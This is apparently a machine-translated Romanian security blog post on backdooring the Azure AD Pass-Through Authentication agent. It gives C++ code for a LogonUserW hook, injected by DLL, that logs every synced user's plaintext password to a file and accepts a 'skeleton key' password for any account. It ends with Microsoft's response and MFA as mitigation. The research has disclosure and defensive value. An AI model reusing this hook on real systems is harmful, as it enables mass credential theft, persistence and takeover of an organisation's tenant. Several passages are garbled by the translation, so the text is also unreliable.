Azure Skeleton Key: exploatarea Pass-Through Auth pentru a fura acreditările

EDIT: cercetător de securitate Adam Chester a scris anterior despre Azure AD Connect Pentru Red Teamers, vorbind despre agățarea funcției de autentificare. Check out lui minunat scrie-up aici.

rezumat executiv

în cazul în care un atacator compromite serverul Azure agent al unei organizații–o componentă necesară pentru sincronizarea Azure AD cu on-prem AD–pot crea un backdoor care le permite să se conecteze ca orice utilizator sincronizat. Am creat un proof-of-concept care manipulează funcția de autentificare Azure la 1.) dați-ne o parolă ‘skeleton key’ care va funcționa pentru toți utilizatorii și 2.) aruncați toate numele de utilizator și parolele reale cu text clar într-un fișier.

autentificare Pass-Through cu Azure AD-Connect

Azure AD-Connect conectează un mediu Azure AD la un domeniu local și oferă mai multe metode de autentificare:

  • sincronizarea parolei Hash – o metodă care sincronizează hash-urile locale on-prem cu cloud-ul.
  • pass-Through Authentication – o metodă care instalează un „agent Azure” on-prem care autentifică utilizatorii sincronizați din cloud.
  • Federație – o metodă care se bazează pe o infrastructură AD FS.

metoda noastră de atac exploatează agentul Azure utilizat pentru autentificarea prin trecere. Agentul on-prem colectează și verifică acreditările primite de Azure AD pentru conturile sincronizate cu domeniile on-prem.

fluxul de autentificare

fluxul de autentificare Azure Pass-Through

  1. utilizatorul introduce numele de utilizator și parola în Azure AD / O365.
  2. Azure AD criptează acreditările folosind o cheie publică și le plasează în coada de agent – o conexiune persistentă creată de agentul on-prem. Agentul colectează apoi acreditările și le decriptează cu cheia sa privată.
  3. agentul autentifică apoi utilizatorul la DC On-Prem folosind funcția API LogonUserW.
  4. DC validează acreditările și returnează un răspuns.
  5. răspunsul on-prem DC este redirecționat înapoi la Azure AD.
  6. dacă conectarea utilizatorului are succes, utilizatorul va fi conectat.

abuzarea agentului

pentru a exploata agentul, vom avea nevoie de următoarele:

  • Azure AD Connect configurat pentru autentificare Pass-Through.
  • privilegii Administrative pe un server cu un agent Azure instalat.

după compromiterea unui server care rulează un agent Azure, putem modifica fluxul de autentificare. Procesul care este responsabil pentru verificarea acreditărilor este convenabil numit AzureADConnectAuthenticationAgentservice.exe și se bazează pe funcția API LogonUserW. Documentația Microsoft afirmă: „agentul de autentificare încearcă să valideze numele de utilizator și parola împotriva Active Directory local utilizând API-ul Win32 LogonUser cu parametrul dwLogonType setat la LOGON32_LOGON_NETWORK.

dacă conectăm apelul API folosind APIMonitor (un instrument care poate conecta orice apel API Windows presupunând că aveți privilegii de administrator), putem începe să analizăm lucruri interesante în procesul de autentificare:

API Monitor

utilizatorul „noob” autentificat cu parola „mypassword”.

Agent Azure în pericol (Ralph Wiggum meme)

crearea unui monitor API

acum, că știm cum să accesăm parolele, să vedem dacă putem automatiza procesul.

planul este de a injecta un DLL în AzureADConnectAuthenticationAgentservice.exe și rescrie indicatorul la funcția LogonUserW cu propria noastră funcție.

folosind EasyHook, am scris un DLL care cârlige funcția LogonUserW și înlocuiește – l cu un nou LogonUserW:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

rețineți că funcția necesită același număr de parametri ca LogonUserW. Când funcția este apelată, creează fișierul ” shhhh.txt ” și scrie variabilele de nume de utilizator și parolă. Funcția returnează rezultatul apelului real LogonUserW cu parametrii furnizați inițial.

injectarea DLL

datorită InjectAllTheThings, și modulul DLL reflectorizant, am încărcat DLL nostru în procesul și a primit următoarele rezultate:

parole cu text clar

fiecare utilizator sincronizat care se conectează la Azure AD (de exemplu, Office 365) își va adăuga parola în fișierul nostru text.

la Cerise sur le G Xvteau

colectorul nostru de parole are nevoie doar de un pic de „nu știu ce” pentru a se transforma într-o cheie de schelet Azure, permițând unui atacator să se autentifice (cu un singur factor) ca orice utilizator, folosind o parolă predeterminată.

pentru cheia noastră de schelet, vom modifica valoarea returnată în funcție, LogonUserW, astfel încât atunci când introducem parola ‘hacked’ ne vom conecta cu succes, indiferent de parola reală a utilizatorului. LogonUserW este o funcție booleană care primește un pointer către tokenul unui utilizator, populându-l cu un token de utilizator și returnând true dacă are succes.

un pic de testare arată că returnarea fie a unui jeton fals, fie a unui jeton nu determină blocarea procesului, astfel încât programul necesită un jeton valid.

unde putem obține un jeton de utilizator pentru a trece la funcția fără a genera unul?

Ei bine, din moment ce suntem deja în AzureADConnectAuthenticationAgentservice.proces exe, putem împrumuta token-ul său de utilizator!

versiune nouă:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

apelând OpenProcessToken, populăm variabila ftoken cu jetonul propriu al procesului.

funcționează ca un farmec!

în timp ce fiecare utilizator se poate conecta în continuare cu propria parolă, ne putem autentifica cu succes ca orice utilizator folosind parola „hacked”.

Iată …

în acest moment, atacatorul a câștigat controlul complet și complet asupra chiriașului și se poate conecta ca orice utilizator, inclusiv contul de administrator Global. Acesta este sfârșitul jocului.

Gânduri finale

instalarea unei chei de schelet pe un agent Azure poate fi utilă pentru:

  • escaladarea privilegiilor dvs. la Administrator Global (care la rândul său vă permite să controlați chiriașul Azure)
  • obținerea accesului la mediul on-prem al organizației prin resetarea unei parole de administrator de domeniu (presupunând că scrierea parolei este activată)
  • menținerea persistenței într-o organizație
  • colectarea parolelor text clar

răspunsul Microsoft Security Response Center la raportul nostru ne face să credem că un patch nu va fi creat:

acest raport nu pare să identifice o slăbiciune a unui produs sau serviciu Microsoft care ar permite unui atacator să compromită integritatea, disponibilitatea sau confidențialitatea unei oferte Microsoft. Pentru această problemă, atacatorul trebuie să compromită mai întâi mașina înainte de a putea prelua serviciul.

deși nu sunt familiarizat cu funcționarea internă a autentificării de trecere a Azure, pot sugera câteva soluții care pot ajuta la atenuarea acestei vulnerabilități. De exemplu, ar putea fi posibil să redirecționați acreditările criptate de la agent către un agent centralizat, care se află pe DC (de obicei un server bine protejat). Agentul DC ar verifica acreditările și ar răspunde cu un răspuns criptat care poate fi deschis doar de serviciul cloud Azure. Un atacator care a câștigat controlul deplin asupra unui DC a câștigat deja, orice exploatări ulterioare sunt umbrite de acest fapt.

unul dintre clienții noștri a avut o abordare foarte interesantă și în acest sens:

cheia Skeleton ar putea fi o problemă în medii care permit unui utilizator să se conecteze la conturile Azure/O365 fără AMF, dar capacitatea agentului de a capta fiecare ID de conectare și parolă în text simplu, deoarece Azure se autentifică cu DC-ul local este o preocupare uriașă. Acest lucru ar oferi atacatorului mase de conturi de utilizator valide care ar putea fi folosite pentru a vă conecta la resursele on-prem ca utilizatori diferiți. Dintr-o dată, administratorul serverului care nu avea acces la bazele de date, alte dispozitive și resurse are acum suficiente conturi de utilizator la dispoziția lor pentru a traversa peste tot și a accesa bazele de date pe care nu le aveau anterior. Da, ai putea argumenta că hapsân anunțul .fișier dit ar face, de asemenea, acest lucru, dar aceste parole sunt încă hashed, ai nevoie de timp suplimentar pentru a sparge fie hashes offline, sau, utilizați o trecere atac de tip hash (dintre care multe ar fi detectate). Această nouă metodă pare mult mai ușor de utilizat pentru un actor de amenințare și mai greu de detectat pentru o echipă IR.

prevenire

atacatorii privilegiați ar putea folosi acest exploit pentru a instala un backdoor sau pentru a colecta parole. Analiza tradițională a jurnalului poate să nu detecteze acest lucru dacă atacatorul știe să-și acopere urmele.

utilizarea MFA va împiedica atacatorii să se conecteze la cloud-ul dvs. Azure cu o parolă falsă, deși acest atac ar putea fi folosit pentru a colecta parole în medii compatibile cu MFA.

Lasă un răspuns

Adresa ta de email nu va fi publicată.